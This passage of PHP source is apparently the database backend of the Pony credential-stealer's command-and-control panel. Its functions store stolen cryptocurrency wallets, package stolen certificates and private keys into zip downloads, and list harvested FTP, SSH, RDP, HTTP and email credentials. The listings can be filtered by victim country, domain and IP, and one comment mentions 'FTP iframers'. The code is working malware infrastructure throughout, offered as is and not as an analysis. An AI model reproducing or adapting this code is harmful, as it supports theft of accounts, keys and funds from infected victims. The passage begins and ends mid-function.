$report_id = intval($report_id);
if (!$this->state || !strlen($wallet) || $report_id <= 0)
return false;
$data_hash = mixed_sha1($wallet);
$query = sprintf("INSERT DELAYED IGNORE INTO pony_wallet
(report_id, wallet_data, data_hash, wallet_client, import_time)
VALUES ('%s', '%s', '%s', '%s', '%s')",
mysql_real_escape_string($report_id), // source report id
mysql_real_escape_string($wallet), // wallet data
mysql_real_escape_string($data_hash),
mysql_real_escape_string($wallet_client),
mysql_real_escape_string(mysql_now_date()) // import_time
);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
return true;
}
function get_cert_zip()
{
if (!$this->state)
return false;
global $global_temporary_directory;
$tmp_name = tempnam($global_temporary_directory, 'zip');
if (!is_writable($global_temporary_directory))
{
return false;
}
$zip = new ZipArchive();
if ($zip->open($tmp_name, ZIPARCHIVE::CREATE)!==TRUE)
{
return false;
}
$query = sprintf("SELECT cert_id, cert_data, pvtkey_data FROM pony_cert");
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
$zip->addFromString($row['cert_id']."_cert.crt", $row['cert_data']);
$zip->addFromString($row['cert_id']."_pvtkey.blob", $row['pvtkey_data']);
}
}
$zip->close();
unset($zip);
if ($this->state)
{
$fp = fopen($tmp_name, "rb");
if ($fp)
{
while (!feof($fp))
{
echo fread($fp, 8192);
}
fclose($fp);
}
}
unlink($tmp_name);
return true;
}
function get_last_cert_date()
{
if (!$this->state)
return false;
$query = "SELECT import_time FROM pony_cert ORDER BY cert_id DESC LIMIT 1";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
if ($row = mysql_fetch_assoc($result))
{
return $row['import_time'];
}
return false;
}
function get_wallet_zip()
{
if (!$this->state)
return false;
global $global_temporary_directory;
$tmp_name = tempnam($global_temporary_directory, 'zip');
if (!is_writable($global_temporary_directory))
{
return false;
}
$zip = new ZipArchive();
if ($zip->open($tmp_name, ZIPARCHIVE::CREATE)!==TRUE)
{
return false;
}
$query = sprintf("SELECT wallet_id, wallet_data, wallet_client FROM pony_wallet");
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
if (($row['wallet_client'] == 'module_multibit') || ($row['wallet_client'] == 'module_bitcoin_armory'))
{
$extension = 'wallet';
} else
{
$extension = 'dat';
}
$zip->addFromString(module_name_to_client_name($row['wallet_client']).'\\'.$row['wallet_id']."_wallet.".$extension, $row['wallet_data']);
}
}
$zip->close();
unset($zip);
if ($this->state)
{
$fp = fopen($tmp_name, "rb");
if ($fp)
{
while (!feof($fp))
{
echo fread($fp, 8192);
}
fclose($fp);
}
}
unlink($tmp_name);
return true;
}
function get_last_wallet_date()
{
if (!$this->state)
return false;
$query = "SELECT import_time FROM pony_wallet ORDER BY wallet_id DESC LIMIT 1";
$result = mysql_query($query, $this->db_link);
if (!$result)
{
return false;
}
if ($row = mysql_fetch_assoc($result))
{
return $row['import_time'];
}
return false;
}
function get_login_log(&$domain_list, $limit_count = 5)
{
$limit_count = intval($limit_count);
if (!$this->state || $limit_count <= 0)
return false;
$query = sprintf("SELECT log_id, log_line, import_time, log_extra FROM pony_system_log WHERE (log_source='".CLOG_SOURCE_LOGIN."') ORDER BY log_id DESC LIMIT %s",
mysql_real_escape_string($limit_count));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
array_push($domain_list, array('user' => $row['log_extra'], 'ip' => $row['log_line'], 'import_time' => $row['import_time']));
}
return true;
}
return false;
}
function get_url_list($url_type, $raw_output, &$domain_list = null, $limit_count = 0, $url_subtype = 'both', $offset = 0, $filter_date_from = '', $filter_date_to = '', $filter_country = array(), $filter_domains_include = '', $filter_domains_exclude = '', $filter_trim_dirs = '', $count = false, $filter_text = '', $filter_export_ip = false)
{
$limit_count = intval($limit_count);
$offset = intval($offset);
if (!$this->state || $limit_count < 0)
return false;
$query = '';
if (count($filter_country) || $filter_export_ip)
{
$query .= ' INNER JOIN pony_report USING (report_id) ';
}
if (strlen($filter_domains_include) || strlen($filter_domains_exclude))
{
$query .= ' LEFT JOIN pony_domainlist USING (domain_id) ';
}
if ($url_type == 'rdp')
{
$query .= " WHERE url_type='rdp' ";
}
else if ($url_type == 'ftp')
{
if ($url_subtype === 'both')
$query .= " WHERE (url_type='ftp' OR url_type='ssh') ";
else if ($url_subtype == 'ssh')
$query .= " WHERE url_type='ssh' ";
else
$query .= " WHERE url_type='ftp' ";
} else if ($url_type == 'http')
{
$query .= " WHERE (url_type='http' OR url_type='https') ";
if ($url_subtype === 'both')
{
}
else if ($url_subtype == 'https')
$query .= " AND url LIKE 'https://%' ";
else
$query .= " AND url LIKE 'http://%' ";
}
if ($offset > 0)
{
$query .= " AND ftp_id >= '".mysql_real_escape_string($offset)."'";
}
if (count($filter_country))
{
$filter_country_escaped = array();
foreach ($filter_country as $key=>$value)
{
$filter_country_escaped["'".mysql_real_escape_string($key)."'"] = 1;
}
$arrK = array_keys($filter_country_escaped);
$country_list = implode(",", $arrK);
$query .= ' AND report_country in ('.$country_list.')';
}
if (strlen($filter_date_from))
{
$time = strtotime($filter_date_from);
if ($time !== false)
{
$query .= ' AND import_time >= \''.mysql_real_escape_string(date('Y-m-d H:i:s', $time))."'";
}
}
if (strlen($filter_date_to))
{
$time = strtotime($filter_date_to);
if ($time !== false)
{
$query .= ' AND import_time <= \''.mysql_real_escape_string(date('Y-m-d H:i:s', $time))."'";
}
}
if (strlen($filter_domains_include))
{
$query .= " AND (";
$include_domains_array = explode(",", $filter_domains_include);
$first_addition = true;
foreach ($include_domains_array as $key=>$value)
{
if (!$first_addition)
{
$query .= ' OR ';
}
$query .= "url_domain LIKE '%".mysql_real_escape_string(trim($include_domains_array[$key]))."%'";
$first_addition = false;
}
$query .= " ) ";
}
if (strlen($filter_domains_exclude))
{
$query .= " AND (";
$exclude_domains_array = explode(",", $filter_domains_exclude);
$first_addition = true;
foreach ($exclude_domains_array as $key=>$value)
{
if (!$first_addition)
{
$query .= ' AND ';
}
$query .= "NOT url_domain LIKE '%".mysql_real_escape_string(trim($exclude_domains_array[$key]))."%'";
$first_addition = false;
}
$query .= " ) ";
}
if (strlen($filter_text))
{
$query .= " AND url like '%".mysql_real_escape_string($filter_text)."%'";
}
$query_clause = $query;
$query = "SELECT ftp_id, report_id, url, pony_ftp.import_time, ftp_client";
if ($filter_export_ip)
$query .= ', report_source_ip';
$query .= " FROM pony_ftp $query_clause ";
$query .= ' ORDER BY ftp_id DESC';
if ($limit_count)
$query .= " LIMIT ".mysql_real_escape_string($limit_count);
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
// additional dupe check is required if 'remove dirs/paths' option was supplied
// as URLs without dirs could be a cause of duplicate lines (lines with char differences in dir/path part only)
$dupe_check = array();
if (!$count)
{
// simple row output
while ($row = mysql_fetch_assoc($result))
{
if ($raw_output)
{
if ($filter_trim_dirs == '1')
{
// remove FTP dirs/paths (required for some FTP iframers)
$url_line = trim_ftp_dir($row['url']);
if ($filter_export_ip)
$url_line .= ';'.$row['report_source_ip'];
array_push($dupe_check, $url_line);
} else
{
if ($filter_export_ip)
echo remove_zero_char($row['url']).';'.$row['report_source_ip']."\r\n";
else
echo remove_zero_char($row['url'])."\r\n";
}
}
else
{
array_push($domain_list, $row);
}
}
if ($filter_trim_dirs == '1')
{
$dupe_check = array_unique($dupe_check);
foreach ($dupe_check as $url)
{
echo remove_zero_char($url)."\r\n";
}
}
return true;
} else
{
// count all found rows and write up to $row_limit rows into the output list
$row_count = 0;
$row_limit = 10;
$rows = array();
if ($filter_trim_dirs == '1')
{
// remove FTP dirs/paths (required for some FTP iframers)
while ($row = mysql_fetch_assoc($result))
{
$uniq_array[trim_ftp_dir($row['url'])] = array($row['ftp_client'], $row['import_time'], $row['report_id']);
}
foreach ($uniq_array as $key=>$value)
{
if (!$row_limit--)
break;
$rows[] = array('url'=>remove_zero_char($key), 'ftp_client'=>module_name_to_client_name($value[0]), 'module'=>$value[0], 'import_time'=>$value[1], 'report_id'=>$value[2]);
}
$row_count = count($uniq_array);
} else
{
while (($row = mysql_fetch_assoc($result)) && $row_limit--)
{
$rows[] = array('url'=>remove_zero_char($row['url']), 'ftp_client'=>module_name_to_client_name($row['ftp_client']), 'module'=>$row['ftp_client'], 'import_time'=>$row['import_time'], 'report_id'=>$row['report_id']);
}
$row_count = mysql_num_rows($result);
}
return array('count'=>$row_count, 'list'=>$rows);
}
}
return false;
}
function get_ftp_list($raw_output, &$domain_list = null, $limit_count = 0, $url_subtype = 'ftp', $offset = 0, $filter_date_from = '', $filter_date_to = '', $filter_country = array(), $filter_domains_include = '', $filter_domains_exclude = '', $filter_trim_dirs = '', $count = false, $filter_text = '', $filter_export_ip = false)
{
return $this->get_url_list('ftp', $raw_output, $domain_list, $limit_count, $url_subtype, $offset, $filter_date_from, $filter_date_to, $filter_country, $filter_domains_include, $filter_domains_exclude, $filter_trim_dirs, $count, $filter_text, $filter_export_ip);
}
function get_http_list($raw_output, &$domain_list = null, $limit_count = 0, $url_subtype = 'both', $offset = 0, $filter_date_from = '', $filter_date_to = '', $filter_country = array(), $filter_domains_include = '', $filter_domains_exclude = '', $filter_trim_dirs = '', $count = false, $filter_text = '', $filter_export_ip = false)
{
return $this->get_url_list('http', $raw_output, $domain_list, $limit_count, $url_subtype, $offset, $filter_date_from, $filter_date_to, $filter_country, $filter_domains_include, $filter_domains_exclude, $filter_trim_dirs, $count, $filter_text, $filter_export_ip);
}
function get_rdp_list($raw_output, &$domain_list = null, $limit_count = 0, $url_subtype = 'both', $offset = 0, $filter_date_from = '', $filter_date_to = '', $filter_country = array(), $filter_domains_include = '', $filter_domains_exclude = '', $filter_trim_dirs = '', $count = false, $filter_text = '', $filter_export_ip = false)
{
return $this->get_url_list('rdp', $raw_output, $domain_list, $limit_count, $url_subtype, $offset, $filter_date_from, $filter_date_to, $filter_country, $filter_domains_include, $filter_domains_exclude, $filter_trim_dirs, $count, $filter_text, $filter_export_ip);
}
function get_email_list($raw_output, &$email_list = null, $limit_count = 0, $protocol = '', $offset = 0)
{
$offset = intval($offset);
$limit_count = intval($limit_count);
$protocol = trim($protocol);
if (!$this->state || $limit_count < 0 || $offset < 0)
return false;
$where = "WHERE email_id >= '".mysql_real_escape_string($offset)."'";
if (strlen($protocol))
{
$where .= sprintf("AND protocol='%s'", mysql_real_escape_string($protocol));
}
if ($limit_count == 0)
$query = sprintf("SELECT * FROM ".CPONY_EMAIL_TABLE." $where ORDER BY email_id DESC");
else
$query = sprintf("SELECT * FROM ".CPONY_EMAIL_TABLE." $where ORDER BY email_id DESC LIMIT %s",
mysql_real_escape_string($limit_count));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
if (!$raw_output)
array_push($email_list, $row);
else
{
echo remove_zero_char(report_parser::flat_email_array($row))."\r\n";
}
}
return true;
}
return false;
}
function get_table_row_count($table_name, $where_clause = '')
{
$table_name = trim($table_name);
$where_clause = trim($where_clause);
if (!$this->state || !strlen($table_name))
return false;
if (strlen($where_clause))
$query = sprintf("SELECT COUNT(*) as count FROM %s ", mysql_real_escape_string($table_name)).$where_clause;
else
$query = sprintf("SELECT COUNT(*) as count FROM %s", mysql_real_escape_string($table_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['count'];
}
}
return false;
}
function get_report_sum($where_clause = '', $offset = 0)
{
$where_clause = trim($where_clause);
$offset = intval($offset);
if (!$this->state)
return false;
if (strlen($where_clause))
{
$query = sprintf("SELECT SUM(OCTET_LENGTH(data)) as sum FROM pony_report_data ".$where_clause);
if ($offset > 0)
{
$query .= ' AND data_id >= \''.mysql_real_escape_string($offset)."'";
}
}
else
{
$query = sprintf("SELECT SUM(OCTET_LENGTH(data)) as sum FROM pony_report_data");
if ($offset > 0)
{
$query .= ' WHERE data_id >= \''.mysql_real_escape_string($offset)."'";
}
}
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['sum'];
}
}
return false;
}
function get_report_sum_linked($where_clause = '', $offset = 0)
{
$where_clause = trim($where_clause);
$offset = intval($offset);
if (!$this->state)
return false;
if (strlen($where_clause))
{
$query = "SELECT SUM(OCTET_LENGTH(data)) as sum FROM pony_report INNER JOIN pony_report_data USING (data_id) ".$where_clause;
if ($offset > 0)
{
$query .= ' AND report_id >= \''.mysql_real_escape_string($offset)."'";
}
}
else
{
$query = "SELECT SUM(OCTET_LENGTH(data)) as sum FROM pony_report_data";
if ($offset > 0)
{
$query .= ' WHERE report_id >= \''.mysql_real_escape_string($offset)."'";
}
}
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['sum'];
}
}
return false;
}
function get_db_size()
{
if (!$this->state)
return false;
$query = sprintf("SELECT SUM(data_length + index_length) as sum FROM information_schema.TABLES WHERE (table_schema='%s')", mysql_real_escape_string($this->database));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['sum'];
}
}
return false;
}
function get_table_size($table_name)
{
$table_name = trim($table_name);
if (!$this->state || strlen($table_name) == 0)
return false;
$query = sprintf("SELECT SUM(data_length + index_length) as sum FROM information_schema.TABLES WHERE (table_schema='%s' AND table_name='%s')", mysql_real_escape_string($this->database), mysql_real_escape_string($table_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row['sum'];
}
}
return false;
}
function export_reports($nonparsed_only)
{
if (!$this->state)
return false;
if ($nonparsed_only)
$query = sprintf("SELECT * FROM %s INNER JOIN pony_report_data USING (data_id) ORDER BY report_id DESC WHERE parsed='0' ", mysql_real_escape_string(CPONY_REPORT_TABLE));
else
$query = sprintf("SELECT * FROM %s INNER JOIN pony_report_data USING (data_id) ORDER BY report_id DESC", mysql_real_escape_string(CPONY_REPORT_TABLE));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
echo sprintf("INSERT IGNORE INTO %s (data_hash, data) VALUES('%s', '%s');\r\n".
"INSERT INTO %s (parsed, report_os_name, import_time, report_country, report_is_win64, report_admin, report_source_ip, report_hwid, report_version, data_id) ".
"SELECT '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', LAST_INSERT_ID() FROM DUAL WHERE LAST_INSERT_ID() > 0;\r\n",
mysql_real_escape_string(CPONY_REPORT_DATA_TABLE),
mysql_real_escape_string($row['data_hash']),
mysql_real_escape_string($row['data']),
mysql_real_escape_string(CPONY_REPORT_TABLE),
mysql_real_escape_string($row['parsed']),
mysql_real_escape_string($row['report_os_name']),
mysql_real_escape_string($row['import_time']),
mysql_real_escape_string($row['report_country']),
mysql_real_escape_string($row['report_is_win64']),
mysql_real_escape_string($row['report_admin']),
mysql_real_escape_string($row['report_source_ip']),
mysql_real_escape_string($row['report_hwid']),
mysql_real_escape_string($row['report_version']),
mysql_real_escape_string($row['report_country']));
}
}
return false;
}
function clear_table($table_name, $where_clause = '')
{
$table_name = trim($table_name);
$where_clause = trim($where_clause);
if (!$this->state || !strlen($table_name))
return false;
$query = sprintf("DELETE FROM %s", mysql_real_escape_string($table_name));
if (strlen($where_clause))
$query .= ' '.$where_clause;
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function truncate_table($table_name)
{
$table_name = trim($table_name);
if (!$this->state || !strlen($table_name))
return false;
$query = sprintf("TRUNCATE %s", mysql_real_escape_string($table_name));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function get_domains(&$domain_list)
{
if (!$this->state)
return false;
$query = sprintf("SELECT domain_id, url FROM %s ORDER BY domain_id DESC", mysql_real_escape_string(CPONY_DOMAIN_TABLE));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
array_push($domain_list, $row);
}
return true;
}
return false;
}
function delete_domain($domain_id)
{
$domain_id = intval($domain_id);
if (!$this->state || $domain_id < 0)
return false;
$query = sprintf("DELETE FROM %s WHERE domain_id='%s'", mysql_real_escape_string(CPONY_DOMAIN_TABLE),
mysql_real_escape_string($domain_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function find_domain($domain_id)
{
$domain_id = intval($domain_id);
if (!$this->state || $domain_id < 0)
return false;
$query = sprintf("SELECT url, ping_time, ping_status FROM %s WHERE domain_id='%s'",
mysql_real_escape_string(CPONY_DOMAIN_TABLE),
mysql_real_escape_string($domain_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
return array($row['url'], $row['ping_time'], $row['ping_status']);
}
return true;
}
}
function update_domain($domain_id, $ping_status)
{
$domain_id = intval($domain_id);
$ping_status = trim($ping_status);
if (!$this->state || $domain_id < 0 || !strlen($ping_status))
return false;
$query = sprintf("UPDATE pony_domain SET ping_status='%s', ping_time='%s' WHERE (domain_id='%s')",
mysql_real_escape_string($ping_status),
mysql_real_escape_string(mysql_now_date()),
mysql_real_escape_string($domain_id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return true;
}
return false;
}
function get_log_item($id)
{
$id = intval($id);
if (!$this->state || $id < 0)
return false;
$query = sprintf("SELECT log_id, report_id, log_line, import_time, log_extra FROM pony_system_log WHERE (log_id='%s' AND (log_source='".CLOG_SOURCE_REPORT."' OR log_source='".CLOG_SOURCE_GATE."'))",
mysql_real_escape_string($id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
return $row;
return false;
}
return false;
}
function get_report_item($id)
{
$id = intval($id);
if (!$this->state || $id < 0)
return false;
$query = sprintf("SELECT *, OCTET_LENGTH(data) as report_len FROM %s INNER JOIN pony_report_data USING (data_id) WHERE (report_id='%s')",
mysql_real_escape_string(CPONY_REPORT_TABLE),
mysql_real_escape_string($id));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
if ($row = mysql_fetch_assoc($result))
{
return $row;
}
}
return false;
}
function get_log_list(&$domain_list, $limit_start = 0, $limit_count = 0, $raw_output = false)
{
$limit_start = intval($limit_start);
$limit_count = intval($limit_count);
if (!$this->state || $limit_count < 0 || $limit_start < 0)
return false;
if ($limit_start == 0 && $limit_count == 0)
$query = sprintf("SELECT log_id, report_id, log_line, import_time, log_extra FROM ".CPONY_LOG_TABLE." WHERE (log_source='".CLOG_SOURCE_REPORT."' OR log_source='".CLOG_SOURCE_GATE."') ORDER BY log_id DESC");
else
$query = sprintf("SELECT log_id, report_id, log_line, import_time, log_extra FROM ".CPONY_LOG_TABLE." WHERE (log_source='".CLOG_SOURCE_REPORT."' OR log_source='".CLOG_SOURCE_GATE."') ORDER BY log_id DESC LIMIT %s, %s",
mysql_real_escape_string($limit_start),
mysql_real_escape_string($limit_count));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
if (!$raw_output)
array_push($domain_list, array('log_id' => $row['log_id'], 'report_id' => $row['report_id'], 'log_extra' => $row['log_extra'], 'log_line' => $row['log_line'], 'import_time' => $row['import_time']));
else
echo $row['report_id']." | ".$row['log_line']." | ".$row['log_extra']."\r\n";
}
return true;
}
return false;
}
function get_log_list_report_filter(&$domain_list, $limit_start = 0, $limit_count = 0, $raw_output = false, $report_source_ip = '', $report_hwid = '', $filter_notify = '')
{
$limit_start = intval($limit_start);
$limit_count = intval($limit_count);
$report_source_ip = trim($report_source_ip);
$report_hwid = trim($report_hwid);
if (!$this->state || $limit_count < 0 || $limit_start < 0)
return false;
// SELECT
$query = str_replace('%s', CPONY_LOG_TABLE, "(SELECT %s.log_id as log_id, %s.report_id, %s.log_line, %s.import_time as import_time, %s.log_extra FROM ".CPONY_LOG_TABLE);
// JOIN tables
if (strlen($report_source_ip) || strlen($report_hwid))
$query .= ' INNER JOIN pony_report USING (report_id)';
// WHERE clause
// AND log_line LIKE 'ERR_CUTEFTP_DAT%'
// AND NOT log_line='ERR_IMPORT_FAILED' AND NOT log_line='ERR_REPORT_CRC_MISMATCH' AND NOT log_line='ERR_REPORT_WRONG_PASSWORD'
$query .= " WHERE ((".CPONY_LOG_TABLE.".log_source='".CLOG_SOURCE_REPORT."' OR ".CPONY_LOG_TABLE.".log_source='".CLOG_SOURCE_GATE."')";
// append IP filter
if (strlen($report_source_ip))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_source_ip=\''.mysql_real_escape_string($report_source_ip).'\'';
// append HWID filter
if (strlen($report_hwid))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_hwid=\''.mysql_real_escape_string($report_hwid).'\'';
$query .= ")";
if ($filter_notify != '1')
$query .= " AND (".CPONY_LOG_TABLE.".log_type<>'notify')";
$query .= ')'; // SELECT
if (strlen($report_source_ip) && !strlen($report_hwid))
{
$query .= " UNION (". str_replace('%s', CPONY_LOG_TABLE, "SELECT %s.log_id as log_id, %s.report_id, %s.log_line, %s.import_time as import_time, %s.log_extra FROM ".CPONY_LOG_TABLE).
" WHERE ".CPONY_LOG_TABLE.".log_source='".CLOG_SOURCE_GATE."' AND ".CPONY_LOG_TABLE.".log_extra='".mysql_real_escape_string($report_source_ip)."'";
if ($filter_notify != '1')
$query .= " AND ".CPONY_LOG_TABLE.".log_type<>'notify'";
$query .= ")";
}
// sorting
$query .= " ORDER BY log_id DESC";
// limiting
if ($limit_start != 0 || $limit_count != 0)
$query .= sprintf(" LIMIT %s, %s",
mysql_real_escape_string($limit_start),
mysql_real_escape_string($limit_count));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
if (!$raw_output)
array_push($domain_list, array('log_id' => $row['log_id'], 'report_id' => $row['report_id'], 'log_extra' => $row['log_extra'], 'log_line' => $row['log_line'], 'import_time' => $row['import_time']));
else
echo $row['report_id']." | ".$row['log_line']." | ".$row['log_extra']."\r\n";
}
return true;
}
return false;
}
function get_log_row_count_filter($report_source_ip = '', $report_hwid = '', $filter_notify = '')
{
$report_source_ip = trim($report_source_ip);
$report_hwid = trim($report_hwid);
if (!$this->state)
return false;
// SELECT
$query = str_replace('%s', CPONY_LOG_TABLE, "(SELECT %s.log_id as log_id, %s.report_id, %s.log_line, %s.import_time as import_time, %s.log_extra FROM ".CPONY_LOG_TABLE);
// JOIN tables
if (strlen($report_source_ip) || strlen($report_hwid))
$query .= ' INNER JOIN pony_report USING (report_id)';
// WHERE clause
$query .= " WHERE ((".CPONY_LOG_TABLE.".log_source='".CLOG_SOURCE_REPORT."' OR ".CPONY_LOG_TABLE.".log_source='".CLOG_SOURCE_GATE."')";
// append IP filter
if (strlen($report_source_ip))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_source_ip=\''.mysql_real_escape_string($report_source_ip).'\'';
// append HWID filter
if (strlen($report_hwid))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_hwid=\''.mysql_real_escape_string($report_hwid).'\'';
$query .= ')';
if ($filter_notify != '1')
$query .= " AND (".CPONY_LOG_TABLE.".log_type<>'notify')";
$query .= ')'; // SELECT
if (strlen($report_source_ip) && !strlen($report_hwid))
{
$query .= " UNION (". str_replace('%s', CPONY_LOG_TABLE, "SELECT %s.log_id as log_id, %s.report_id, %s.log_line, %s.import_time as import_time, %s.log_extra FROM ".CPONY_LOG_TABLE).
" WHERE ".CPONY_LOG_TABLE.".log_source='".CLOG_SOURCE_GATE."' AND ".CPONY_LOG_TABLE.".log_extra='".mysql_real_escape_string($report_source_ip)."'";
if ($filter_notify != '1')
$query .= " AND ".CPONY_LOG_TABLE.".log_type<>'notify'";
$query .= ")";
}
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
return mysql_num_rows($result);
}
return false;
}
function get_report_list_filter(&$domain_list, $limit_start = 0, $limit_count = 0, $report_source_ip, $report_hwid, $filter_nonparsed, $filter_has_passwords, $filter_string = '')
{
$limit_start = intval($limit_start);
$limit_count = intval($limit_count);
$filter_nonparsed = trim($filter_nonparsed);
$report_source_ip = trim($report_source_ip);
$report_hwid = trim($report_hwid);
$filter_has_passwords = trim($filter_has_passwords);
$filter_string = trim($filter_string);
if ($filter_has_passwords == '1')
$filter_has_passwords = '0';
else
$filter_has_passwords = '1';
if ($filter_nonparsed == '1')
$filter_has_passwords = '0';
if (!$this->state || $limit_count < 0 || $limit_start < 0)
return false;
// SELECT
$query = "SELECT pony_report.*, OCTET_LENGTH(data) as report_len, (SELECT COUNT(*) FROM pony_ftp WHERE pony_ftp.report_id=pony_report.report_id)+(SELECT COUNT(*) FROM pony_email WHERE pony_email.report_id=pony_report.report_id)+(SELECT COUNT(*) FROM pony_cert WHERE pony_cert.report_id=pony_report.report_id)+(SELECT COUNT(*) FROM pony_wallet WHERE pony_wallet.report_id=pony_report.report_id) as count FROM ".CPONY_REPORT_TABLE." LEFT JOIN pony_report_data USING (data_id)";
// WHERE clause
if ($filter_nonparsed == '1')
$query .= " WHERE pony_report.parsed='0'";
else
{
$query .= ' WHERE TRUE';
}
// append has passwords filter
if ($filter_has_passwords == '1')
{
$query .= ' AND (EXISTS(SELECT * FROM pony_ftp WHERE pony_report.report_id=pony_ftp.report_id LIMIT 1)
OR EXISTS(SELECT * FROM pony_email WHERE pony_report.report_id=pony_email.report_id LIMIT 1)
OR EXISTS(SELECT * FROM pony_cert WHERE pony_report.report_id=pony_cert.report_id LIMIT 1)
OR EXISTS(SELECT * FROM pony_wallet WHERE pony_report.report_id=pony_wallet.report_id LIMIT 1)
)';
}
// apply string filter
if (strlen($filter_string))
{
$query .= ' AND (EXISTS(SELECT * FROM pony_ftp WHERE pony_report.report_id=pony_ftp.report_id AND pony_ftp.url LIKE \'%'.mysql_real_escape_string($filter_string).'%\' LIMIT 1)';
$query .= ' OR EXISTS(SELECT * FROM pony_email WHERE pony_report.report_id=pony_email.report_id AND ((pony_email.port=0 AND CONCAT(pony_email.protocol,\'://\',pony_email.email,\'|\',pony_email.server,\'|\',pony_email.user,\'|\',pony_email.pass) LIKE \'%'.mysql_real_escape_string($filter_string).'%\')
OR (pony_email.port<>0 AND CONCAT(pony_email.protocol,\'://\',pony_email.email,\'|\',pony_email.server,\':\',pony_email.port,\'|\',pony_email.user,\'|\',pony_email.pass) LIKE \'%'.mysql_real_escape_string($filter_string).'%\'))
LIMIT 1)';
$query .= ')';
}
// append IP filter
if (strlen($report_source_ip))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_source_ip=\''.mysql_real_escape_string($report_source_ip).'\'';
// append HWID filter
if (strlen($report_hwid))
$query .= ' AND '.CPONY_REPORT_TABLE.'.report_hwid=\''.mysql_real_escape_string($report_hwid).'\'';
// sorting
$query .= " ORDER BY pony_report.report_id DESC";
// limiting
if ($limit_start != 0 || $limit_count != 0)
$query .= sprintf(" LIMIT %s, %s",
mysql_real_escape_string($limit_start),
mysql_real_escape_string($limit_count));
$result = mysql_query($query, $this->db_link);
if (!$result)
{
$this->state = false;
} else
{
while ($row = mysql_fetch_assoc($result))
{
array_push($domain_list, $row);
}
return true;
}
return false;
}
function get_report_row_count_filter($report_source_ip = '', $report_hwid = '', $filter_nonparsed = '', $filter_has_passwords = '', $filter_string = '')
{
$filter_string = trim($filter_string);
$report_source_ip = trim($report_source_ip);
$report_hwid = trim($report_hwid);
$filter_nonparsed = trim($filter_nonparsed);
$filter_has_passwords = trim($filter_has_passwords);
if ($filter_has_passwords == '1')
$filter_has_passwords = '0';
else
$filter_has_passwords = '1';
if ($filter_nonparsed == '1')
$filter_has_passwords = '0';
if (!$this->state)
return false;
// SELECT
$query = "SELECT pony_report.report_id FROM ".CPONY_REPORT_TABLE;
// WHERE clause
if ($filter_nonparsed == '1')
$query .= " WHERE pony_report.parsed='0'";
else
{
$query .= ' WHERE TRUE';
}
if ($filter_has_passwords == '1')
{
$query .= ' AND (EXISTS(SELECT * FROM pony_ftp WHERE pony_report.report_id=pony_ftp.report_id LIMIT 1)
OR EXISTS(SELECT * FROM pony_email WHERE pony_report.report_id=pony_email.report_id LIMIT 1)
OR EXISTS(SELECT * FROM pony_cert WHERE pony_report.report_id=pony_cert.report_id LIMIT 1)
OR EXISTS(SELECT * FROM pony_wallet WHERE pony_report.report_id=pony_wallet.report_id LIMIT 1)
)';
}
// apply string filter
if (strlen($filter_string))
{
$query .= ' AND (EXISTS(SELECT * FROM pony_ftp WHERE pony_report.report_id=pony_ftp.report_id AND pony_ftp.url LIKE \'%'.mysql_real_escape_string($filter_string).'%\' LIMIT 1)';
$query .= ' OR EXISTS(SELECT * FROM pony_email WHERE pony_report.report_id=pony_email.report_id AND ((pony_email.port=0 AND CONCAT(pony_email.protocol,\'://\',pony_email.email,\'|\',pony_email.server,\'|\',pony_email.user,\'|\',pony_email.pass) LIKE \'%'.mysql_real_escape_string($filter_string).'%\')
OR (pony_email.port<>0 AND CONCAT(pony_email.protocol,\'://\',pony_email.email,\'|\',pony_email.server,\':\',pony_email.port,\'|\',pony_email.user,\'|\',pony_email.pass) LIKE \'%'.mysql_real_escape_string($filter_string).'%\'))
LIMIT 1)';
$query .= ')';
}
